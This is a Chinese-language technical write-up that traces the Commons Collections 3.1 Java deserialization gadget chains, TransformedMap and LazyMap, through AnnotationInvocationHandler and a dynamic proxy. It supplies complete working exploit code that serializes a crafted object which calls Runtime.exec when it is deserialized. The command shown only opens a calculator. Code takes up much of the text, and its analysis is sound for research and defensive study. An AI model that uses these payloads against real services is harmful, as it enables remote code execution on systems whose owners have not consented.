依赖环境
1 | Commons Collections 3.1 |
触发流程
Payload1
1 | ObjectInputStream.readObject() |
按照触发流程,调试分析,先看 InvokerTransformer
类:
存在一个构造方法接收3个参数,包括方法名,参数类,参数值,
存在 transform
方法,接收的参数是某个类,然后反射调用这个类,并执行通过构造方法中所获得的方法,可以看到类、方法、参数都是从外部输入,也就是说能够执行任意类的含任意参数的任意方法。
在看 ConstantTransformer
类:
构造方法是接收一个任意类,transform
方法是无论参数是什么,都会直接返回通过构造方法获得的任意类,
接下来是 ChainedTransformer
类:
构造方法是接收一个 Transformer
类数组,transform
方法是依次执行 Transformer
类数组中每一个 Transformer
类的 transform
方法,且每一个transform
方法得到的返回值,都是后面的 transform
方法的参数。
而前面说到 ConstantTransformer
类的 transform
方法无论参数是什么,都会直接返回通过构造方法获得的任意类。这就非常适合当作 Transformer
类数组的第一个元素。再加上 InvokerTransformer
类的 transform
方法能够执行任意类的含任意参数的任意方法,就能够构造出执行命令的点:
payload:1
2
3
4
5
6
7
8
9Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",new Class[] {String.class },new Object[] {"open /Applications/Calculator.app"})
};
ChainedTransformer Chain = new ChainedTransformer(transformers);
Chain.transform(1);
}
构造的 payload 也是非常巧妙,运用反射调用反射,仔细研究下的话,实际还是有点复杂的,需要对 Java 反射机制运用的非常熟练才行。
一行一行分析:new ConstantTransformer(Runtime.class)
由之前的分析得出会返回 Runtime.class
并且作为参数会传入到下个 InvokerTransformer.transform
中,new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] })
得到 Runtime.class
参数,这里注意的是,由于传入的是 Runtime.class
是类,而不是类实例,所以 input.getClass()
得到的是 java.lang.Class
,而不是 java.lang.Runtime
:
这也是我们无法直接通过反射调用 getRuntime
方法,而需要通过反射调用反射调用getRuntime
方法的原因。这里通过反射调用 getMethod
方法,参数是 getRuntime
。最后调用 getMethod
方法时,因为 invoke
的第一个参数还是 Runtime.class
。所以后面能正确执行 getRuntime
方法。
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]})
,这里就是通过反射调用 invoke
方法,执行前面的 getMethod
方法,相当于第二层反射,真正执行的是 getRuntime
,最终返回 Runtime
实例。
new InvokerTransformer("exec",new Class[] {String.class },new Object[] {"open /Applications/Calculator.app"})
最后执行 Runtime
实例的 exec
方法,执行系统命令。
为了方便理解,抽象出来的代码:1
2
3Object a = Runtime.class.getClass().getMethod("getMethod",new Class[]{ String.class, Class[].class}).invoke(Runtime.class,"getRuntime", new Class[0]);
Object b = a.getClass().getMethod("invoke",new Class[]{ Object.class, Object[].class}).invoke(a,new Object[]{ null ,new Object[0]});
b.getClass().getMethod("exec",String.class ).invoke(b,"open /Applications/Calculator.app");
看看其他大佬的图:
总的来说,第一层反射只是外壳,里面的通过反射调用 getRuntime
方法,获取 Runtime
实例是精华。大佬就是牛逼。
继续分析,既然通过一顿操作知道了 ChainedTransformer.transform
能够执行命令,那么还需要找到能自动触发这行代码的地方。
看到反序列化的利用链 TransformedMap.checkSetValue()
可以看到该方法,会执行 this.valueTransformer.transform(value)
,而 this.valueTransformer
可以通过 decorate
方法进行赋值,同时也可以传入一个 map
类。
TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。第一个参数为待转化的Map对象,第二个参数为Map对象内的key要经过的转化方法,第三个参数为Map对象内的value要经过的转化方法。
所以这段按照要求进行如下构造:1
2
3
4
5
6
7
8
9
10
11
12Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("1", "2");
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
现在只需找到在某个类的 readObject
方法中直接或者间接调用 TransformedMap.checkSetValue()
即可。
直接看到反序列化利用链的 AnnotationInvocationHandler.readObject
方法:
this.memberValues
和 this.type
都可以通过构造方法传入,也就是都是我们可控制的,this.memberValues
是 Map
类型,先不管前面的各种判断,假设都成立,定位到 $\color{rgb(255,0,0)}{var5.setValue}$,var5
就是传入 map
的一个 Entry
类,实际我们传入的是 map
的子类 TransformedMap
, 而 TransformedMap
并没有 setValue
方法,所以往上追溯到其直接父类 AbstractInputCheckedMapDecorator
:
可以看到,setValue
方法中,正好执行了 checkSetValue
方法,在父类中,checkSetValue
是抽象方法,所以会执行子类中的 checkSetValue
,也就是 TransformedMap.checkSetValue()
,达到了我们想要的目的,至于具体如何执行到这个 setValue
方法,涉及到 Map
里的静态内部类 MapEntry
、EntrySet
和其他方法的联动,就不再赘述了。
重新整理 payload,加上利用 AnnotationInvocationHandler.readObject
的部分:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("1", "2");
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(注解类,transformedmap);
现在就剩下最后一个问题了,就是如何满足 readObject
中的各种条件,重新看到该方法:
从构造方法可以看出 this.type
是注解类,var2 = AnnotationType.getInstance(this.type)
是获取该注解类的详细信息,Map var3 = var2.memberTypes();
获取该注解类的成员变量的名称及类型,这里需要对 java 的注解有个基本了解,以 javax.xml.ws.Action
这个注解为例,1
2
3
4
5
6
7
8
9
10
(RetentionPolicy.RUNTIME)
(ElementType.METHOD)
public Action {
//input是成员变量,String 是其类型,默认值是""
String input() default "";
String output() default "";
FaultAction[] fault() default { };
}
接下来就是对传入的 this.memberValues
和 this.type
相互校验:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
// var6 是 传入 map 的 key 值
String var6 = (String)var5.getKey();
// var7 是根据 var6 取出的 注解成员变量的类,
Class var7 = (Class)var3.get(var6);
// var7 不为空,也就是说传入 map 的 key 必须是传入注解类的 成员变量名
if (var7 != null) {
Object var8 = var5.getValue();
//传入 map 的 value 值必须不是传入注解类的成员变量的类的实例化对象,
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
很明显的看出传入的 map
类和注解类要满足相关的条件,假设传入的注解类是 javax.xml.ws.Action
,那么按照以上分析的要求,map
的操作可以是map.put("input", 1);
。
最终的 payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("input", 1);
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(javax.xml.ws.Action.class,transformedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("tmp.cer"));
outputStream.writeObject(ins);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("tmp.cer"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
Payload2
1 | ObjectInputStream.readObject() |
从 ChainedTransformer.transform()
往下之前都分析过了,直接看到 LazyMap.get()
在 get
方法中,当 map
不包含 key
时,会执行 this.factory.transform(key)
,其中 this.factory
是传入的 Transformer
类,这和下面的 ChainedTransformer
利用链就可以联动了。
代码:1
2
3
4
5
6
7
8
9
10
11
12
13Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
//调用 decorate 方法,返回 LazyMap 的实例
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
lazyMap.get("A");
接下来是 Map(Proxy).entrySet()
这里需要些 Java 动态代理的知识。简单的说,就是使用 JDK 动态代理时,会调用动态代理类的 invoke 方法,
而每一个动态代理类都必须要实现 InvocationHandler
这个接口,在看 AnnotationInvocationHandler
,就是一个动态代理类,
看到它的 invoke
方法,其中就有 Object var6 = this.memberValues.get(var4);
,如果 this.memberValues
是构造好的 LazyMap
就能执行 LazyMap.get()
了。
如何完成动态代理呢?一般通过 Proxy
的 newProxyInstance
完成动态代理
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException
loader: 定义了由哪个ClassLoader对象来对生成的代理对象进行加载,
interfaces: 将要给需要代理的对象提供一组什么接口,
h: 要调用实现的那种接口中的方法,会跳转到由这个代理对象关联到的 handler 中的invoke方法去执行,
很明显,动态代理的 InvocationHandler
就是 AnnotationInvocationHandler
了。
继续看 AnnotationInvocationHandler.readObject
其中有 Map(Proxy).entrySet()
对应到了 this.memberValues.entrySet().iterator()
,也可以从 AnnotationInvocationHandler
的构造方法可以看出 this.memberValues
是 Map
类。如果反序列化入口点只能是 AnnotationInvocationHandler
类的话,那么最明显的思路就是初始化 AnnotationInvocationHandler
类的 Map
是经过传入 lazyMap
的 AnnotationInvocationHandler
实例动态代理的 Map
。稍微有点绕口,代码比较清晰。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler)
//初始化AnnotationInvocationHandler,传入特殊构造的lazyMap
//这个AnnotationInvocationHandler实例,是作为动态代理的handler,
//所以,当执行代理对象的接口方法时,会关联到 handler 的 invoke 方法去执行
handler_constructor.newInstance(Override.class,lazyMap);
//使用之前的 handler 处理动态代理 Map 对象
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
//这里的AnnotationInvocationHandler是作为反序列化readObject的入口点
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
完整 Payload1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
HashMap innermap = new HashMap();
Map lazyMap = LazyMap.decorate(innermap, transformerChain);
//初始化AnnotationInvocationHandler,传入特殊构造的lazyMap
//这个AnnotationInvocationHandler实例,是作为动态代理的handler,
//所以,当执行代理对象的接口方法时,会关联到 handler 的 invoke 方法去执行
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,lazyMap); //创建第一个代理的handler
//使用之前的 handler 处理动态代理 Map 对象
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
//这里的AnnotationInvocationHandler是作为反序列化 readObject 的入口点
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);